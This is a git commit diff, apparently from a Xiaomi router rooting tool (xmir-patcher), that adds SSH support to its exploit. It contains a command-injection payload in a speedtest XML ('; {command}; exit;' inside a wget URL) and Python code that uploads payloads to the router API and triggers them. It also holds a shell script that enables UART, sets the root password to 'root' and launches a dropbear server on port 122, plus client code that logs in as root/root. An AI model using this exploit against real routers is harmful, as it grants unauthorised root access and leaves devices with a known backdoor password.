mirror of
https://github.com/openwrt-xiaomi/xmir-patcher.git
synced 2026-09-22 22:57:55 +03:00
Add support using exploit via SSH connection
This commit is contained in:
+12
-3
@@ -69,13 +69,19 @@ except Exception:
|
|||||||
die("Password is not correct!")
|
die("Password is not correct!")
|
||||||
|
|
||||||
dn_tmp = 'tmp/'
|
dn_tmp = 'tmp/'
|
||||||
dn_dir = 'data/payload/'
|
if gw.use_ssh:
|
||||||
|
dn_dir = 'data/payload_ssh/'
|
||||||
|
else:
|
||||||
|
dn_dir = 'data/payload/'
|
||||||
|
|
||||||
print("Begin creating a payload for the exploit...")
|
print("Begin creating a payload for the exploit...")
|
||||||
fn_payload1 = 'tmp/payload1.tar.gz'
|
fn_payload1 = 'tmp/payload1.tar.gz'
|
||||||
fn_payload2 = 'tmp/payload2.tar.gz'
|
fn_payload2 = 'tmp/payload2.tar.gz'
|
||||||
fn_payload3 = 'tmp/payload3.tar.gz'
|
fn_payload3 = 'tmp/payload3.tar.gz'
|
||||||
fn_pfname = 'busybox'
|
if gw.use_ssh:
|
||||||
|
fn_pfname = 'dropbearmulti'
|
||||||
|
else:
|
||||||
|
fn_pfname = 'busybox'
|
||||||
|
|
||||||
fn_pf1 = dn_tmp + fn_pfname + '_01'
|
fn_pf1 = dn_tmp + fn_pfname + '_01'
|
||||||
fn_pf2 = dn_tmp + fn_pfname + '_02'
|
fn_pf2 = dn_tmp + fn_pfname + '_02'
|
||||||
@@ -156,7 +162,10 @@ if (fn_payload2):
|
|||||||
if (fn_payload3):
|
if (fn_payload3):
|
||||||
requests.post(urlapi + "misystem/c_upload", files={"image":open(fn_payload3, 'rb')})
|
requests.post(urlapi + "misystem/c_upload", files={"image":open(fn_payload3, 'rb')})
|
||||||
|
|
||||||
print("Running TELNET and FTP servers...")
|
if gw.use_ssh:
|
||||||
|
print("Running SSH server on port 122...")
|
||||||
|
else:
|
||||||
|
print("Running TELNET and FTP servers...")
|
||||||
|
|
||||||
requests.get(urlapi + "xqnetdetect/netspeed")
|
requests.get(urlapi + "xqnetdetect/netspeed")
|
||||||
|
|
||||||
|
|||||||
Binary file not shown.
@@ -0,0 +1,43 @@
|
|||||||
|
# enable UART
|
||||||
|
nvram set bootdelay=5; nvram set uart_en=1; nvram commit
|
||||||
|
|
||||||
|
# change password for root
|
||||||
|
echo -e "root\nroot" | (passwd root)
|
||||||
|
|
||||||
|
if [ -f /etc/init.d/dropbear ]; then
|
||||||
|
# unlock autostart dropbear
|
||||||
|
sed -i 's/"$flg_ssh" != "1" -o "$channel" = "release"/-n ""/g' /etc/init.d/dropbear
|
||||||
|
if [ -f /usr/sbin/dropbear ]; then
|
||||||
|
# restart dropbear
|
||||||
|
/etc/init.d/dropbear stop
|
||||||
|
/etc/init.d/dropbear start
|
||||||
|
fi
|
||||||
|
fi
|
||||||
|
|
||||||
|
kill -9 `pgrep dropbearmulti`
|
||||||
|
|
||||||
|
cd /tmp
|
||||||
|
rm -f dropbearmulti
|
||||||
|
cat dropbearmulti_01 dropbearmulti_02 dropbearmulti_03 > dropbearmulti
|
||||||
|
chmod +x dropbearmulti
|
||||||
|
|
||||||
|
# start SSH server
|
||||||
|
./dropbearmulti -p 122
|
||||||
|
|
||||||
|
#kill -9 `pgrep taskmonitor`
|
||||||
|
|
||||||
|
# install dropbear for release firmware (not devel)
|
||||||
|
if [ ! -f /usr/sbin/dropbear ]; then
|
||||||
|
if [ -f /etc/init.d/dropbear ]; then
|
||||||
|
# stop dropbear
|
||||||
|
/etc/init.d/dropbear stop
|
||||||
|
fi
|
||||||
|
rm -f /etc/dropbear/dropbear
|
||||||
|
cp -f dropbearmulti /etc/dropbear/dropbear
|
||||||
|
chmod +x /etc/dropbear/dropbear
|
||||||
|
if [ -f /etc/init.d/dropbear ]; then
|
||||||
|
sed -i 's/PROG=\/usr\/sbin\/dropbear/PROG=\/etc\/dropbear\/dropbear/g' /etc/init.d/dropbear
|
||||||
|
# start dropbear
|
||||||
|
/etc/init.d/dropbear start
|
||||||
|
fi
|
||||||
|
fi
|
||||||
@@ -0,0 +1,32 @@
|
|||||||
|
<?xml version="1.0"?>
|
||||||
|
<root>
|
||||||
|
<class type="1">
|
||||||
|
<item url="http://dl.ijinshan.com/safe/speedtest/FDFD1EF75569104A8DB823E08D06C21C.dat"/>
|
||||||
|
<item url="http://dl.ijinshan.com/safe/speedtest/FDFD1EF75569104A8DB823E08D06C21C.dat"/>
|
||||||
|
<item url="http://dl.ijinshan.com/safe/speedtest/FDFD1EF75569104A8DB823E08D06C21C.dat"/>
|
||||||
|
<item url="http://dl.ijinshan.com/safe/speedtest/FDFD1EF75569104A8DB823E08D06C21C.dat"/>
|
||||||
|
<item url="http://dl.ijinshan.com/safe/speedtest/FDFD1EF75569104A8DB823E08D06C21C.dat"/>
|
||||||
|
<item url="http://dl.ijinshan.com/safe/speedtest/FDFD1EF75569104A8DB823E08D06C21C.dat"/>
|
||||||
|
<item url="http://dl.ijinshan.com/safe/speedtest/FDFD1EF75569104A8DB823E08D06C21C.dat"/>
|
||||||
|
<item url="http://dl.ijinshan.com/safe/speedtest/FDFD1EF75569104A8DB823E08D06C21C.dat"/>
|
||||||
|
<item url="http://dl.ijinshan.com/safe/speedtest/FDFD1EF75569104A8DB823E08D06C21C.dat"/>
|
||||||
|
<item url="http://dl.ijinshan.com/safe/speedtest/FDFD1EF75569104A8DB823E08D06C21C.dat"/>
|
||||||
|
<item url="http://dl.ijinshan.com/safe/speedtest/FDFD1EF75569104A8DB823E08D06C21C.dat"/>
|
||||||
|
<item url="http://dl.ijinshan.com/safe/speedtest/FDFD1EF75569104A8DB823E08D06C21C.dat"/>
|
||||||
|
<item url="http://dl.ijinshan.com/safe/speedtest/FDFD1EF75569104A8DB823E08D06C21C.dat"/>
|
||||||
|
<item url="http://dl.ijinshan.com/safe/speedtest/FDFD1EF75569104A8DB823E08D06C21C.dat"/>
|
||||||
|
</class>
|
||||||
|
<class type="2">
|
||||||
|
<item url="http://{router_ip_address} -q -O /dev/null; {command}; exit; wget http://{router_ip_address} "/>
|
||||||
|
</class>
|
||||||
|
<class type="3">
|
||||||
|
<item uploadurl="http://www.taobao.com/"/>
|
||||||
|
<item uploadurl="http://www.so.com/"/>
|
||||||
|
<item uploadurl="http://www.qq.com/"/>
|
||||||
|
<item uploadurl="http://www.sohu.com/"/>
|
||||||
|
<item uploadurl="http://www.tudou.com/"/>
|
||||||
|
<item uploadurl="http://www.360doc.com/"/>
|
||||||
|
<item uploadurl="http://www.kankan.com/"/>
|
||||||
|
<item uploadurl="http://www.speedtest.cn/"/>
|
||||||
|
</class>
|
||||||
|
</root>
|
||||||
+141
-42
@@ -5,14 +5,24 @@ import os
|
|||||||
import sys
|
import sys
|
||||||
import json
|
import json
|
||||||
import time
|
import time
|
||||||
|
import datetime
|
||||||
import random
|
import random
|
||||||
import hashlib
|
import hashlib
|
||||||
import subprocess
|
import subprocess
|
||||||
import re
|
import re
|
||||||
import requests
|
import requests
|
||||||
|
import atexit
|
||||||
|
|
||||||
|
import socket
|
||||||
|
import ssh2
|
||||||
|
from ssh2.error_codes import LIBSSH2_ERROR_EAGAIN
|
||||||
|
from ssh2.utils import wait_socket
|
||||||
|
|
||||||
import telnetlib
|
import telnetlib
|
||||||
import ftplib
|
import ftplib
|
||||||
import atexit
|
|
||||||
|
|
||||||
|
EXPLOIT_VIA_DROPBEAR = True
|
||||||
|
|
||||||
|
|
||||||
def die(*args):
|
def die(*args):
|
||||||
@@ -41,6 +51,7 @@ def get_http_headers():
|
|||||||
|
|
||||||
|
|
||||||
class Gateway():
|
class Gateway():
|
||||||
|
use_ssh = EXPLOIT_VIA_DROPBEAR
|
||||||
verbose = 2
|
verbose = 2
|
||||||
timeout = 4
|
timeout = 4
|
||||||
config = {}
|
config = {}
|
||||||
@@ -48,6 +59,9 @@ class Gateway():
|
|||||||
webpassword = None
|
webpassword = None
|
||||||
status = -2
|
status = -2
|
||||||
ftp = None
|
ftp = None
|
||||||
|
socket = None # TCP socket for SSH
|
||||||
|
ssh = None # SSH session
|
||||||
|
ssh_port = 122
|
||||||
|
|
||||||
def __init__(self, timeout = 4, verbose = 2, detect_device = True):
|
def __init__(self, timeout = 4, verbose = 2, detect_device = True):
|
||||||
self.verbose = verbose
|
self.verbose = verbose
|
||||||
@@ -57,7 +71,7 @@ class Gateway():
|
|||||||
self.device_name = None
|
self.device_name = None
|
||||||
self.webpassword = None
|
self.webpassword = None
|
||||||
self.status = -2
|
self.status = -2
|
||||||
atexit.register(self.cleanup)
|
atexit.register(self.shutdown)
|
||||||
os.makedirs('outdir', exist_ok = True)
|
os.makedirs('outdir', exist_ok = True)
|
||||||
os.makedirs('tmp', exist_ok = True)
|
os.makedirs('tmp', exist_ok = True)
|
||||||
if detect_device:
|
if detect_device:
|
||||||
@@ -106,17 +120,29 @@ class Gateway():
|
|||||||
self.status = 1
|
self.status = 1
|
||||||
return self.status
|
return self.status
|
||||||
|
|
||||||
def cleanup(self):
|
def shutdown(self):
|
||||||
try:
|
if self.use_ssh:
|
||||||
self.ftp.quit()
|
try:
|
||||||
except Exception:
|
self.ssh.disconnect()
|
||||||
pass
|
except Exception:
|
||||||
try:
|
pass
|
||||||
self.ftp.close()
|
try:
|
||||||
except Exception:
|
self.socket.close()
|
||||||
pass
|
except Exception:
|
||||||
|
pass
|
||||||
|
else:
|
||||||
|
try:
|
||||||
|
self.ftp.quit()
|
||||||
|
except Exception:
|
||||||
|
pass
|
||||||
|
try:
|
||||||
|
self.ftp.close()
|
||||||
|
except Exception:
|
||||||
|
pass
|
||||||
self.ftp = None
|
self.ftp = None
|
||||||
|
self.ssh = None
|
||||||
|
self.socket = None
|
||||||
|
|
||||||
@property
|
@property
|
||||||
def ip_addr(self):
|
def ip_addr(self):
|
||||||
return self.config['device_ip_addr']
|
return self.config['device_ip_addr']
|
||||||
@@ -139,7 +165,31 @@ class Gateway():
|
|||||||
self.config[key] = value
|
self.config[key] = value
|
||||||
self.save_config()
|
self.save_config()
|
||||||
|
|
||||||
def create_telnet(self, verbose = 0):
|
def get_ssh(self, verbose = 0):
|
||||||
|
if self.ssh:
|
||||||
|
try:
|
||||||
|
self.ssh.keepalive_send()
|
||||||
|
return self.ssh
|
||||||
|
except Exception:
|
||||||
|
pass
|
||||||
|
self.shutdown()
|
||||||
|
try:
|
||||||
|
self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||||
|
self.socket.connect((self.ip_addr, self.ssh_port))
|
||||||
|
self.ssh = ssh2.session.Session()
|
||||||
|
self.ssh.handshake(self.socket)
|
||||||
|
self.ssh.userauth_password('root', 'root')
|
||||||
|
self.ssh.set_blocking(True)
|
||||||
|
self.ssh.set_timeout(self.timeout * 1000);
|
||||||
|
return self.ssh
|
||||||
|
except Exception as e:
|
||||||
|
#print(e)
|
||||||
|
if verbose:
|
||||||
|
die("SSH server not responding (IP: {})".format(self.ip_addr))
|
||||||
|
self.shutdown()
|
||||||
|
return None
|
||||||
|
|
||||||
|
def get_telnet(self, verbose = 0):
|
||||||
try:
|
try:
|
||||||
tn = telnetlib.Telnet(self.ip_addr)
|
tn = telnetlib.Telnet(self.ip_addr)
|
||||||
tn.read_until(b"login: ")
|
tn.read_until(b"login: ")
|
||||||
@@ -151,40 +201,47 @@ class Gateway():
|
|||||||
except Exception as e:
|
except Exception as e:
|
||||||
#print(e)
|
#print(e)
|
||||||
if verbose:
|
if verbose:
|
||||||
die("telnet not responding (IP: {})".format(self.ip_addr))
|
die("TELNET not responding (IP: {})".format(self.ip_addr))
|
||||||
return None
|
return None
|
||||||
return tn
|
|
||||||
|
|
||||||
def create_ftp(self, verbose = 0):
|
def get_ftp(self, verbose = 0):
|
||||||
if self.ftp and self.ftp.sock:
|
if self.ftp and self.ftp.sock:
|
||||||
try:
|
try:
|
||||||
self.ftp.voidcmd("NOOP")
|
self.ftp.voidcmd("NOOP")
|
||||||
return self.ftp #Already connected
|
return self.ftp #Already connected
|
||||||
except Exception:
|
except Exception:
|
||||||
pass
|
pass
|
||||||
self.ftp = None
|
self.shutdown()
|
||||||
try:
|
try:
|
||||||
#timeout = 10 if self.timeout < 10 else self.timeout
|
#timeout = 10 if self.timeout < 10 else self.timeout
|
||||||
self.ftp = ftplib.FTP(self.ip_addr, user='root', passwd='root', timeout=self.timeout)
|
self.ftp = ftplib.FTP(self.ip_addr, user='root', passwd='root', timeout=self.timeout)
|
||||||
self.ftp.voidcmd("NOOP")
|
self.ftp.voidcmd("NOOP")
|
||||||
|
return self.ftp
|
||||||
except Exception:
|
except Exception:
|
||||||
self.ftp = None
|
|
||||||
if verbose:
|
if verbose:
|
||||||
die("ftp not responding (IP: {})".format(self.ip_addr))
|
die("ftp not responding (IP: {})".format(self.ip_addr))
|
||||||
return None
|
self.shutdown()
|
||||||
return self.ftp
|
return None
|
||||||
|
|
||||||
def ping(self, verbose = 2):
|
def ping(self, verbose = 2):
|
||||||
tn = self.create_telnet(verbose)
|
if self.use_ssh:
|
||||||
if not tn:
|
ssh = self.get_ssh(verbose)
|
||||||
return False
|
if not ssh:
|
||||||
ftp = self.create_ftp(verbose)
|
return False
|
||||||
if not ftp:
|
else:
|
||||||
return False
|
tn = self.get_telnet(verbose)
|
||||||
|
if not tn:
|
||||||
|
return False
|
||||||
|
ftp = self.get_ftp(verbose)
|
||||||
|
if not ftp:
|
||||||
|
return False
|
||||||
return True
|
return True
|
||||||
|
|
||||||
def run_cmd(self, cmd, msg = None):
|
def run_cmd(self, cmd, msg = None):
|
||||||
tn = self.create_telnet(self.verbose)
|
if self.use_ssh:
|
||||||
|
ssh = self.get_ssh(self.verbose)
|
||||||
|
else:
|
||||||
|
tn = self.get_telnet(self.verbose)
|
||||||
if (msg):
|
if (msg):
|
||||||
print(msg)
|
print(msg)
|
||||||
cmdlist = []
|
cmdlist = []
|
||||||
@@ -193,19 +250,51 @@ class Gateway():
|
|||||||
else:
|
else:
|
||||||
cmdlist = cmd
|
cmdlist = cmd
|
||||||
for idx, cmd in enumerate(cmdlist):
|
for idx, cmd in enumerate(cmdlist):
|
||||||
cmd = (cmd + '\n').encode('ascii')
|
if self.use_ssh:
|
||||||
tn.write(cmd)
|
channel = ssh.open_session()
|
||||||
tn.read_until(b"root@XiaoQiang:~#")
|
#channel.pty('xterm')
|
||||||
tn.write(b"exit\n")
|
#print("exec = '{}'".format(cmd))
|
||||||
|
channel.execute(cmd)
|
||||||
|
try:
|
||||||
|
channel.wait_eof()
|
||||||
|
except ssh2.exceptions.Timeout:
|
||||||
|
die("SSH execute command timedout! CMD: \"{}\"".format(cmd))
|
||||||
|
try:
|
||||||
|
channel.close()
|
||||||
|
channel.wait_closed()
|
||||||
|
except Exception:
|
||||||
|
pass
|
||||||
|
#status = channel.get_exit_status()
|
||||||
|
else:
|
||||||
|
cmd = (cmd + '\n').encode('ascii')
|
||||||
|
tn.write(cmd)
|
||||||
|
tn.read_until(b"root@XiaoQiang:~#")
|
||||||
|
if not self.use_ssh:
|
||||||
|
tn.write(b"exit\n")
|
||||||
return True
|
return True
|
||||||
|
|
||||||
def download(self, fn_remote, fn_local, verbose = 1):
|
def download(self, fn_remote, fn_local, verbose = 1):
|
||||||
self.create_ftp(self.verbose)
|
if self.use_ssh:
|
||||||
file = open(fn_local, 'wb')
|
ssh = self.get_ssh(self.verbose)
|
||||||
if verbose and self.verbose:
|
channel, fileinfo = ssh.scp_recv2(fn_remote)
|
||||||
print('Download file: "{}" ....'.format(fn_remote))
|
total_size = fileinfo.st_size
|
||||||
self.ftp.retrbinary('RETR ' + fn_remote, file.write)
|
read_size = 0
|
||||||
file.close()
|
with open(fn_local, 'wb') as file:
|
||||||
|
while read_size < total_size:
|
||||||
|
size, data = channel.read()
|
||||||
|
if size > 0:
|
||||||
|
if read_size + len(data) > total_size:
|
||||||
|
file.write(data[:total_size - read_size])
|
||||||
|
else:
|
||||||
|
file.write(data)
|
||||||
|
read_size += size
|
||||||
|
else:
|
||||||
|
ftp = self.get_ftp(self.verbose)
|
||||||
|
file = open(fn_local, 'wb')
|
||||||
|
if verbose and self.verbose:
|
||||||
|
print('Download file: "{}" ....'.format(fn_remote))
|
||||||
|
ftp.retrbinary('RETR ' + fn_remote, file.write)
|
||||||
|
file.close()
|
||||||
return True
|
return True
|
||||||
|
|
||||||
def upload(self, fn_local, fn_remote, verbose = 1):
|
def upload(self, fn_local, fn_remote, verbose = 1):
|
||||||
@@ -213,10 +302,20 @@ class Gateway():
|
|||||||
file = open(fn_local, 'rb')
|
file = open(fn_local, 'rb')
|
||||||
except Exception:
|
except Exception:
|
||||||
die('File "{}" not found.'.format(fn_local))
|
die('File "{}" not found.'.format(fn_local))
|
||||||
self.create_ftp(self.verbose)
|
if self.use_ssh:
|
||||||
if verbose and self.verbose:
|
ssh = self.get_ssh(self.verbose)
|
||||||
print('Upload file: "{}" ....'.format(fn_local))
|
finfo = os.stat(fn_local)
|
||||||
self.ftp.storbinary('STOR ' + fn_remote, file)
|
channel = ssh.scp_send64(fn_remote, finfo.st_mode & 0o777, finfo.st_size, finfo.st_mtime, finfo.st_atime)
|
||||||
|
size = 0
|
||||||
|
for data in file:
|
||||||
|
channel.write(data)
|
||||||
|
size = size + len(data)
|
||||||
|
#except ssh2.exceptions.SCPProtocolError as e:
|
||||||
|
else:
|
||||||
|
ftp = self.get_ftp(self.verbose)
|
||||||
|
if verbose and self.verbose:
|
||||||
|
print('Upload file: "{}" ....'.format(fn_local))
|
||||||
|
ftp.storbinary('STOR ' + fn_remote, file)
|
||||||
file.close()
|
file.close()
|
||||||
return True
|
return True
|
||||||
|
|
||||||
|
|||||||
Reference in New Issue
Block a user